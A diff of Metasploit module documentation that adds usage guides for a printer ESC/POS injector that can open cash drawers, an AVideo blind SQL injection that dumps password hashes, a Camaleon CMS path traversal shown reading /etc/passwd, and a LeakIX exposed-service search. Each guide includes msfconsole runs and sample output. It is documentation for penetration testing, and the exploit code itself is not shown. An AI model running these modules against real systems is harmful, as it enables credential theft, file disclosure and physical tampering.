+<capability>http://tail-f.com/ns/mibs/SNMP-NOTIFICATION-MIB/200210140000Z?module=SNMP-NOTIFICATION-MIB&amp;revision=2002-10-14</capability>
+<capability>http://tail-f.com/ns/mibs/SNMP-TARGET-MIB/200210140000Z?module=SNMP-TARGET-MIB&amp;revision=2002-10-14</capability>
+<capability>http://tail-f.com/ns/mibs/SNMP-USER-BASED-SM-MIB/200210160000Z?module=SNMP-USER-BASED-SM-MIB&amp;revision=2002-10-16</capability>
+<capability>http://tail-f.com/ns/mibs/SNMP-VIEW-BASED-ACM-MIB/200210160000Z?module=SNMP-VIEW-BASED-ACM-MIB&amp;revision=2002-10-16</capability>
+<capability>http://tail-f.com/ns/mibs/SNMPv2-MIB/200210160000Z?module=SNMPv2-MIB&amp;revision=2002-10-16</capability>
+<capability>http://tail-f.com/ns/mibs/SNMPv2-SMI/1.0?module=SNMPv2-SMI</capability>
+<capability>http://tail-f.com/ns/mibs/SNMPv2-TC/1.0?module=SNMPv2-TC</capability>
+<capability>http://tail-f.com/ns/mibs/TRANSPORT-ADDRESS-MIB/200211010000Z?module=TRANSPORT-ADDRESS-MIB&amp;revision=2002-11-01</capability>
+<capability>http://tail-f.com/ns/netconf/query?module=tailf-netconf-query&amp;revision=2017-01-06</capability>
+<capability>http://tail-f.com/yang/acm?module=tailf-acm&amp;revision=2013-03-07</capability>
+<capability>http://tail-f.com/yang/common?module=tailf-common&amp;revision=2023-12-07</capability>
+<capability>http://tail-f.com/yang/common-monitoring?module=tailf-common-monitoring&amp;revision=2022-09-29</capability>
+<capability>http://tail-f.com/yang/common-monitoring2?module=tailf-common-monitoring2&amp;revision=2022-09-29</capability>
+<capability>http://tail-f.com/yang/confd-monitoring?module=tailf-confd-monitoring&amp;revision=2022-09-29</capability>
+<capability>http://tail-f.com/yang/confd-monitoring2?module=tailf-confd-monitoring2&amp;revision=2022-10-03</capability>
+<capability>http://tail-f.com/yang/last-login?module=tailf-last-login&amp;revision=2019-11-21</capability>
+<capability>http://tail-f.com/yang/netconf-monitoring?module=tailf-netconf-monitoring&amp;revision=2022-04-12</capability>
+<capability>http://tail-f.com/yang/xsd-types?module=tailf-xsd-types&amp;revision=2017-11-20</capability>
+<capability>http://viptela.com/aaa-ext?module=viptela-aaa-ext&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/actions?module=viptela-actions&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/clear?module=viptela-clear&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/common?module=viptela-common&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/debug?module=viptela-debug&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/devices?module=viptela-devices</capability>
+<capability>http://viptela.com/hardware?module=viptela-hardware&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/idmgr?module=viptela-idmgr&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/models?module=viptela-models</capability>
+<capability>http://viptela.com/omp?module=viptela-omp&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/oper-idmgr?module=viptela-oper-idmgr&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/oper-system?module=viptela-oper-system&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/oper-tenant?module=viptela-oper-tenant</capability>
+<capability>http://viptela.com/oper-vpn?module=viptela-oper-vpn&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/policy?module=viptela-policy&amp;revision=2024-07-01&amp;deviations=viptela-policy-deviation</capability>
+<capability>http://viptela.com/security?module=viptela-security&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/snmp?module=viptela-snmp&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/snmp-usm?module=viptela-snmp-usm&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/support?module=viptela-support&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/system?module=viptela-system&amp;revision=2024-07-01&amp;deviations=viptela-system-deviation</capability>
+<capability>http://viptela.com/tag-instance?module=viptela-tag-instance&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/tenant?module=viptela-tenant&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/timezones?module=viptela-timezones&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/viptela-clear-tenant?module=viptela-clear-tenant</capability>
+<capability>http://viptela.com/viptela-debug-tenant?module=viptela-debug-tenant</capability>
+<capability>http://viptela.com/viptela-global?module=viptela-global&amp;revision=2024-07-01</capability>
+<capability>http://viptela.com/vpn?module=viptela-vpn&amp;revision=2024-07-01</capability>
+<capability>urn:ietf:params:xml:ns:netconf:base:1.0?module=ietf-netconf&amp;revision=2011-06-01&amp;features=confirmed-commit,candidate,rollback-on-error,validate,xpath,url</capability>
+<capability>urn:ietf:params:xml:ns:netconf:partial-lock:1.0?module=ietf-netconf-partial-lock&amp;revision=2009-10-19</capability>
+<capability>urn:ietf:params:xml:ns:yang:iana-crypt-hash?module=iana-crypt-hash&amp;revision=2014-08-06&amp;features=crypt-hash-sha-512,crypt-hash-sha-256,crypt-hash-md5</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-inet-types?module=ietf-inet-types&amp;revision=2013-07-15</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-acm?module=ietf-netconf-acm&amp;revision=2018-02-14</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-monitoring?module=ietf-netconf-monitoring&amp;revision=2010-10-04</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-notifications?module=ietf-netconf-notifications&amp;revision=2012-02-06</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-with-defaults?module=ietf-netconf-with-defaults&amp;revision=2011-06-01</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-restconf-monitoring?module=ietf-restconf-monitoring&amp;revision=2017-01-26</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-x509-cert-to-name?module=ietf-x509-cert-to-name&amp;revision=2014-12-10</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-yang-metadata?module=ietf-yang-metadata&amp;revision=2016-08-05</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-yang-smiv2?module=ietf-yang-smiv2&amp;revision=2012-06-22</capability>
+<capability>urn:ietf:params:xml:ns:yang:ietf-yang-types?module=ietf-yang-types&amp;revision=2013-07-15</capability>
+</capabilities>
+<session-id>25</session-id></hello>]]>]]>
+```

documentation/modules/auxiliary/admin/printer/escpos_tcp_command_injector.md

@@ -0,0 +1,115 @@
+## Vulnerable Application
+
+This module targets networked ESC/POS compatible printers that listen for raw commands on TCP port 9100.
+The vulnerability is a lack of authentication and access control on this port, allowing anyone with
+network access to send unauthenticated ESC/POS commands. The module exploits this by sending crafted
+command sequences to inject custom print jobs, trigger the cash drawer, or manipulate the paper feed,
+effectively taking control of the printer's physical functions.
+
+
+- **Printer Model:** Any Epson-compatible printer exposing the ESC/POS command set
+on TCP port 9100.
+
+- **Protocol:** ESC/POS over TCP.
+
+- **CVE:** CVE-2026-23767
+
+
+
+## Verification Steps
+
+
+
+1. **Load the module:**
+    use auxiliary/admin/printer/escpos_tcp_command_injector
+
+2. **Set required options:**
+    set RHOST <printer_ip>
+
+3. **Choose an action:**
+    Set the `ACTION` option to specify the desired behavior.
+    - `PRINT`: Prints a custom text message.
+    - `DRAWER`: Triggers the attached cash drawer.
+    - `CUT`: Feeds lines and cuts the paper.
+
+4. **Execute the module:**
+    run
+
+---
+
+
+## Options
+
+### MESSAGE
+
+This option specifies the text to be sent to the printer.
+
+* **Description:** The string of text you want the printer to output. It is only required when `ACTION` is set to `PRINT`.
+* **Default:** "PWNED"
+* **Example:** `set MESSAGE "Printing this now"`
+
+### DRAWER_COUNT
+
+This option specifies how many times to trigger the cash drawer signal.
+
+* **Description:** The number of times to fire the open drawer command. Only used when `ACTION` is set to `DRAWER`.
+* **Default:** `1`
+* **Example:** `set DRAWER_COUNT 3`
+
+### FEED_LINES
+
+This option specifies how much paper to feed before cutting.
+
+* **Description:** The number of lines to feed before executing the paper cut. Only used when `ACTION` is set to `CUT`.
+* **Default:** `5`
+* **Example:** `set FEED_LINES 10`
+
+
+
+## Scenarios
+
+### Example 1: Printing a Simple Message
+
+This example shows how to use the module to send a simple text message to a network-connected ESC/POS printer.
+
+msf6 > use auxiliary/admin/printer/escpos_tcp_command_injector
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set ACTION PRINT
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set MESSAGE "Hello World"
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > run
+
+[*] Connected to printer at 192.168.1.200
+[+] Printed message: 'Hello World'
+
+### Example 2: Triggering the Cash Drawer
+
+This scenario demonstrates the use of the `DRAWER` action to send the specific
+ESC/POS command to open a cash drawer connected to the printer.
+
+msf6 > use auxiliary/admin/printer/escpos_tcp_command_injector
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set ACTION DRAWER
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > run
+
+[*] Connected to printer at 192.168.1.200
+[*] Triggering cash drawer 1 times...
+[+] Triggered cash drawer.
+
+### Example 3: Cutting Paper
+
+This example shows how to use the `CUT` action to feed paper and perform a full cut.
+
+msf6 > use auxiliary/admin/printer/escpos_tcp_command_injector
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set ACTION CUT
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > set FEED_LINES 10
+msf6 auxiliary(admin/printer/escpos_tcp_command_injector) > run
+
+[*] Connected to printer at 192.168.1.200
+[*] Feeding 10 lines and cutting paper...
+[+] Paper fed and cut.
+
+
+This module has been tested against a physical Epson-compatible receipt printer and
+verified to print custom messages and trigger the cash drawer.
+For additional device compatibility, refer to the ESC/POS protocol documentation.

documentation/modules/auxiliary/admin/scada/phoenix_command.md

@@ -1,4 +1,4 @@
-PhoenixContact Programmable Logic Controllers are built are using a variant of
+PhoenixContact Programmable Logic Controllers are built using a variant of
 ProConOS. The communicate using a proprietary protocol over ports TCP/1962 and
 TCP/41100 or TCP/20547.  This protocol allows a user to remotely determine the
 PLC type, firmware and build number on port TCP/1962.  A user can also

documentation/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.md

@@ -3,7 +3,7 @@ This module will accept files from a live vCenter appliance or from a vCenter ap
 archive; either or both files can be supplied to the module depending on the situation. The module
 will extract the vCenter SSO IdP signing credential from the vmdir database, which can be used to
 create forged SAML assertions and access the SSO directory as an administrator. The vmafd service
-contains the vCenter certificate store which from which the module will attempt to extract all vmafd
+contains the vCenter certificate store, from which the module will attempt to extract all vmafd
 certificates that also have a corresponding private key. Portions of this module are based on
 information published by Zach Hanley at Horizon3:
 

documentation/modules/auxiliary/analyze/crack_osx.md

@@ -88,7 +88,7 @@ Default is `false`.
 
 ### PBKDF2-HMAC-SHA512
 
-Crack SHA12 hashes. Default is `true`.
+Crack SHA512 hashes. Default is `true`.
 
 ### POT
 

documentation/modules/auxiliary/gather/avideo_catname_sqli.md

@@ -0,0 +1,148 @@
+## Vulnerable Application
+
+This module exploits an unauthenticated SQL injection vulnerability in AVideo's
+`videos.json.php` endpoint to extract user credentials (usernames and password hashes).
+
+**CVE ID:** CVE-2026-28501
+
+**Affected Versions:** AVideo <= 22.0. Fixed in 24.0.
+
+### Vulnerability Overview
+
+The `catName` parameter is injected unsanitized into SQL queries via the `getCatSQL()` function.
+A global security filter in `security.php` strips quotes from GET/POST parameters, but sending
+`catName` via a JSON request body bypasses this filter because the JSON input is parsed and
+merged into `$_REQUEST` after the security checks have already executed.
+
+The module uses time-based blind SQL injection with `BENCHMARK()` to extract data.
+`SLEEP()` cannot be used because the application's `sqlDAL` layer uses prepared statements
+that prevent it, but `BENCHMARK()` works via a multiplication pattern that embeds the boolean
+condition as a multiplier on the iteration count.
+
+### Setup
+
+This lab reuses the same AVideo Docker environment as the `avideo_encoder_getimage_cmd_injection`
+module.
+
+1. Clone the AVideo repository and checkout the vulnerable commit:
+
+```bash
+cd /tmp
+git clone https://github.com/WWBN/AVideo.git
+cd AVideo
+git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4
+```
+
+2. Create a `.env` file with the following configuration:
+
+```bash
+cat > .env << EOF
+SERVER_NAME=localhost
+CREATE_TLS_CERTIFICATE=yes
+DB_MYSQL_HOST=database
+DB_MYSQL_PORT=3306
+DB_MYSQL_NAME=avideo
+DB_MYSQL_USER=avideo
+DB_MYSQL_PASSWORD=avideo
+HTTP_PORT=80
+HTTPS_PORT=9443
+NETWORK_SUBNET=172.99.0.0/16
+EOF
+```
+
+3. Fix MariaDB corrupted tc.log issue (required for first-time setup):
+
+```bash
+cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF'
+#!/bin/bash
+set -e
+
+if [ -f /var/lib/mysql/tc.log ]; then
+    MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "")
+    if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then
+        echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)"
+        rm -f /var/lib/mysql/tc.log
+    fi
+fi
+SCRIPTEOF
+chmod +x deploy/docker-entrypoint-mariadb
+
+cat >> Dockerfile.mariadb << 'DOCKERFILEEOF'
+
+COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb
+RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb
+RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh
+DOCKERFILEEOF
+
+docker compose build database database_encoder
+```
+
+4. Start the Docker Compose environment:
+
+```bash
+docker compose up -d
+```
+
+5. Wait for the services to be ready and access the application at `http://localhost`.
+   Complete the installation wizard if this is a first-time setup.
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. `use auxiliary/gather/avideo_catname_sqli`
+3. `set RHOSTS <target_ip>`
+4. `set RPORT <target_port>` (default: 80)
+5. `run`
+6. **Verify** that user credentials are extracted and displayed
+
+## Options
+
+### COUNT
+
+Number of users to dump. Default: 0 (all users).
+
+### SqliDelay
+
+Time delay threshold for blind injection (default: 1.0 second). Lower values are faster
+but may produce false positives on slow networks.
+
+## Scenarios
+
+### Credential dump against AVideo <= 22.0
+
+```
+msf > use auxiliary/gather/avideo_catname_sqli
+msf auxiliary(gather/avideo_catname_sqli) > set RHOSTS localhost
+RHOSTS => localhost
+msf auxiliary(gather/avideo_catname_sqli) > set RPORT 80
+RPORT => 80
+msf auxiliary(gather/avideo_catname_sqli) > set COUNT 1
+COUNT => 1
+msf auxiliary(gather/avideo_catname_sqli) > run
+[*] Running module against 127.0.0.1
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] {SQLi} Calibrating BENCHMARK iterations for 1.0s delay...
+[*] {SQLi} Probe: 1000000 iterations took 0.127s
+[*] {SQLi} Calibrated: 23622047 iterations for ~1.0s delay
+[+] The target is vulnerable. Time-based blind SQLi confirmed via BENCHMARK()
+[*] Dumping user credentials from the users table...
+[!] Time-based blind extraction is slow (~4s per character). Be patient.
+[*] {SQLi} [char 1/38] = "a"
+[*] {SQLi} [char 2/38] = "d"
+[*] {SQLi} [char 3/38] = "m"
+[*] {SQLi} [char 4/38] = "i"
+[*] {SQLi} [char 5/38] = "n"
+[*] {SQLi} [char 6/38] = ";"
+[*] {SQLi} [char 7/38] = "5"
+...
+[*] {SQLi} [char 38/38] = "9"
+AVideo Users
+============
+
+    user   password
+    ----   --------
+    admin  5f4dcc3b5aa765d61d8327deb882cf99
+
+[+] Loot saved to: /home/user/.msf4/loot/20260306_default_127.0.0.1_avideo.users_123456.txt
+[*] Auxiliary module execution completed
+```

documentation/modules/auxiliary/gather/camaleon_download_private_file.md

@@ -0,0 +1,216 @@
+## Vulnerable Application
+
+This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions <= 2.8.0 and version 2.9.0.
+
+CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case.
+
+## Setup
+
+See [Camaleon CMS](https://github.com/owen2345/camaleon-cms) documentation.
+
+The following describes how to setup Camaleon CMS version 2.8.0 on Ubuntu.
+
+### Requirements
+
+- Rails 6.1+
+- PostgreSQL, MySQL 5+ or SQlite
+- Ruby 3.0+
+- Imagemagick
+
+### Install Ruby
+
+guides.rubyonrails.org/install_ruby_on_rails.html
+
+~~~bash
+sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git curl
+~~~
+
+### Install Mise
+
+~~~bash
+curl https://mise.run | sh
+echo "eval \"\$(~/.local/bin/mise activate)\"" >> ~/.bashrc
+source ~/.bashrc
+~~~
+
+### Install Ruby with Mise
+
+~~~bash
+$ mise use -g ruby@3.0
+
+$ ruby --version
+ruby 3.0.7p220 ...
+~~~
+
+### Install Imagemagick
+
+~~~bash
+sudo apt install --no-install-recommends imagemagick
+~~~
+
+### Install Postgresql
+
+~~~bash
+sudo apt install postgresql
+~~~
+
+### Install Rails
+
+~~~bash
+$ gem install rails -v 6.1
+~~~
+
+#### concurrent-ruby Issue
+
+Downgrade concurrent-ruby to 1.3.4
+
+~~~bash
+$ gem list concurrent-ruby
+concurrent-ruby (1.3.6)
+
+$ gem install concurrent-ruby -v 1.3.4
+$ gem uninstall concurrent-ruby -v 1.3.6
+
+$ rails --version
+Rails 6.1.7.10
+~~~
+
+### Create Rails Project
+
+Run `rails new camaleon_project`
+
+### Gemfile
+
+In your Gemfile do the following:
+
+Replace `gem 'spring'` with `gem 'spring', '4.2.1'`
+
+
+Delete this line to prevent [conflict](https://github.com/owen2345/camaleon-cms/issues/1111): `gem 'sass-rails', '>= 6'`
+
+Put these lines at the bottom of your Gemfile:
+
+~~~
+gem 'camaleon_cms', '2.8.0'
+gem 'concurrent-ruby', '1.3.4'
+~~~
+
+### Install Bundle
+
+From the project directory run `bundle install`
+
+### Webpacker.yml Issue
+
+~~~bash
+wget -O camaleon_project/config/webpacker.yml https://raw.githubusercontent.com/rails/webpacker/master/lib/install/config/webpacker.yml
+~~~
+
+### Camaleon CMS Installation
+
+~~~bash
+rails generate camaleon_cms:install
+rake camaleon_cms:generate_migrations
+rake db:migrate
+~~~
+
+### Run Rails
+
+~~~bash
+bundle exec rails server -b 0.0.0.0
+~~~
+
+Navigate to `http://{ip address}:3000` and enter test under the Name field.
+
+### Setup Server
+
+When prompted with the new installation page just enter "test" into the Name field and continue.
+
+#### Create Unprivileged User (Optional)
+
+Navigate to `http://{ip address}:3000/admin` - login with the default admin credentials "admin:admin123"
+
+Then navigate to "Users -> + Add User" and fill out the form.
+
+## Verification Steps
+
+1. Do: `use auxiliary/gather/camaleon_download_private_file`
+2. Do: `set RHOST [IP]`
+3. Do: `run`
+
+## Options
+
+### FILEPATH
+
+The filepath of the file to read.
+
+### DEPTH
+
+The number of "../" appended to the filename. Default is 13
+
+## Scenarios
+
+```
+msf > use auxiliary/gather/camaleon_download_private_file 
+msf auxiliary(gather/camaleon_download_private_file) > set rhost 10.0.0.45
+rhost => 10.0.0.45
+msf auxiliary(gather/camaleon_download_private_file) > set rport 3000
+rport => 3000
+msf auxiliary(gather/camaleon_download_private_file) > set ssl false
+ssl => false
+msf auxiliary(gather/camaleon_download_private_file) > run
+[*] Running module against 10.0.0.45
+[+] /etc/passwd stored as '/home/kali/.msf4/loot/20260411192711_default_10.0.0.45_camaleon.travers_926890.txt'
+
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
+systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
+dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
+messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
+syslog:x:102:102::/nonexistent:/usr/sbin/nologin
+systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
+uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
+usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
+tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
+systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
+kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
+whoopsie:x:107:109::/nonexistent:/bin/false
+dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
+avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
+tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
+sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
+speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
+cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
+fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
+saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
+geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin
+cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
+hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
+gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
+polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
+rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
+colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
+gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
+gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
+nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
+bittman:x:1000:1000:bittman:/home/bittman:/bin/bash
+postgres:x:122:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+
+[*] Auxiliary module execution completed
+```

documentation/modules/auxiliary/gather/ldap_query.md

@@ -78,6 +78,12 @@ Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separate
 of attributes to display from the full result set for each entry that was returned by the
 target LDAP server. Used to filter the results down to manageable sets of data.
 
+### LDAP::QuerySacl
+Query the SACL on security descriptors. If the authenticated user does not have permission
+to view the SACL, the entire security descriptor will be omitted by the server. Setting
+this to false enables the other fields of the security descriptor to be viewed when those
+permissions are not present. Only applicable for Active Directory LDAP servers.
+
 ## Scenarios
 
 ### RUN_SINGLE_QUERY with Table Output

documentation/modules/auxiliary/gather/leakix_search.md

@@ -0,0 +1,255 @@
+## Vulnerable Application
+
+This module uses the [LeakIX](https://leakix.net) API to search for exposed services
+and data leaks across the internet. LeakIX indexes internet-facing services and leaked
+credentials/databases, similar to Shodan or Censys but with a focus on data leaks.
+
+An API key is required. Free keys are available at [https://leakix.net](https://leakix.net).
+Pro keys unlock the BULK streaming action and higher page limits.
+
+The module supports six actions:
+
+- **SEARCH** - Query LeakIX with a search string (leak or service scope). Paginated, 20 results per page, max 500 pages.
+- **HOST** - Retrieve all known services and leaks for a specific IP address.
+- **DOMAIN** - Retrieve all known services and leaks for a specific domain.
+- **SUBDOMAINS** - Enumerate known subdomains for a domain.
+- **PLUGINS** - List all available LeakIX scanner plugins (useful for building queries).
+- **BULK** - Stream all leak results via the bulk NDJSON API (Pro only, leak scope only).
+
+## Verification Steps
+
+1. Do: `use auxiliary/gather/leakix_search`
+1. Do: `set LEAKIX_APIKEY <your-api-key>`
+1. Do: `set QUERY +country:"France" +port:3306`
+1. Do: `run`
+1. Verify that results are returned in a table with IP, port, protocol, host, country, organization, software, type, and source columns.
+
+## Options
+
+### LEAKIX_APIKEY
+
+The LeakIX API key. Required for all actions. Free keys are available at [https://leakix.net](https://leakix.net).
+
+### QUERY
+
+The search query string. Required for SEARCH and BULK actions. Uses LeakIX query syntax:
+
+- `+country:"France"` - filter by country
+- `+port:3306` - filter by port
+- `plugin:HttpOpenProxy` - filter by plugin name
+- `+software.name:"nginx" +country:"US"` - combine filters
+
+### SCOPE
+
+Search scope: `leak` or `service`. Default is `leak`. The BULK action only supports `leak` scope.
+
+### MAXPAGE
+
+Maximum number of pages to collect for SEARCH (1-500, 20 results per page). Default is 1. The API enforces a hard limit of 500 pages regardless of plan.
+
+### MAXRESULTS
+
+Stop collecting after this many results. Works with SEARCH and BULK. Set to 0 (default) for unlimited.
+
+### TARGET_IP
+
+Target IP address for the HOST action.
+
+### TARGET_DOMAIN
+
+Target domain for the DOMAIN and SUBDOMAINS actions.
+
+### OUTFILE
+
+Path to save the results table output.
+
+### DATABASE
+
+Set to `true` to add discovered hosts and services to the Metasploit database.
+
+## Scenarios
+
+### SEARCH - Find exposed MySQL servers in France
+
+```
+msf6 > use auxiliary/gather/leakix_search
+msf6 auxiliary(gather/leakix_search) > set LEAKIX_APIKEY <redacted>
+LEAKIX_APIKEY => <redacted>
+msf6 auxiliary(gather/leakix_search) > set QUERY +country:"France" +port:3306
+QUERY => +country:"France" +port:3306
+msf6 auxiliary(gather/leakix_search) > set SCOPE service
+SCOPE => service
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching page 1/1...
+[+] Got 20 results from page 1 (total: 20)
+[*] Total: 20 results
+
+LeakIX Results
+==============
+
+ IP:Port              Protocol  Host                  Country  Organization         Software   Type     Source
+ ------              --------  ----                  -------  ------------         --------   ----     ------
+ x.x.x.x:3306        mysql     db.example.com        France   OVH SAS              MySQL 5.7  service  MysqlOpenPlugin
+ x.x.x.x:3306        mysql     server2.example.fr    France   Online S.A.S.        MySQL 8.0  service  MysqlOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### HOST - Lookup a specific IP
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION HOST
+ACTION => HOST
+msf6 auxiliary(gather/leakix_search) > set TARGET_IP 1.2.3.4
+TARGET_IP => 1.2.3.4
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching host details for 1.2.3.4...
+[*] 1.2.3.4: 3 results
+
+LeakIX Results
+==============
+
+ IP:Port          Protocol  Host            Country        Organization  Software    Type     Source
+ ------          --------  ----            -------        ------------  --------    ----     ------
+ 1.2.3.4:22       ssh       host.example    United States  Example Inc   OpenSSH 8   service  SshOpenPlugin
+ 1.2.3.4:80       http      host.example    United States  Example Inc   nginx 1.18  service  HttpOpenPlugin
+ 1.2.3.4:443      https     host.example    United States  Example Inc   nginx 1.18  service  HttpOpenPlugin
+
+[*] Auxiliary module execution completed
+```
+
+### DOMAIN - Lookup a specific domain
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION DOMAIN
+ACTION => DOMAIN
+msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com
+TARGET_DOMAIN => example.com
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching domain details for example.com...
+[*] example.com: 5 results
+
+LeakIX Results
+==============
+
+ IP:Port              Protocol  Host                  Country        Organization  Software       Type     Source
+ ------              --------  ----                  -------        ------------  --------       ----     ------
+ x.x.x.x:443         https     www.example.com       United States  Example Inc   nginx 1.21    service  HttpOpenPlugin
+ x.x.x.x:22          ssh       mail.example.com      United States  Example Inc   OpenSSH 8.4   service  SshOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### SUBDOMAINS - Enumerate subdomains
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION SUBDOMAINS
+ACTION => SUBDOMAINS
+msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com
+TARGET_DOMAIN => example.com
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching subdomains for example.com...
+[*] Found 12 subdomains
+
+Subdomains for example.com
+===========================
+
+ Subdomain              Distinct IPs  Last Seen
+ ---------              ------------  ---------
+ www.example.com         2             2025-01-15T10:30:00Z
+ mail.example.com        1             2025-01-14T08:22:00Z
+ api.example.com         3             2025-01-15T12:00:00Z
+ dev.example.com         1             2025-01-10T06:15:00Z
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### PLUGINS - List available plugins
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION PLUGINS
+ACTION => PLUGINS
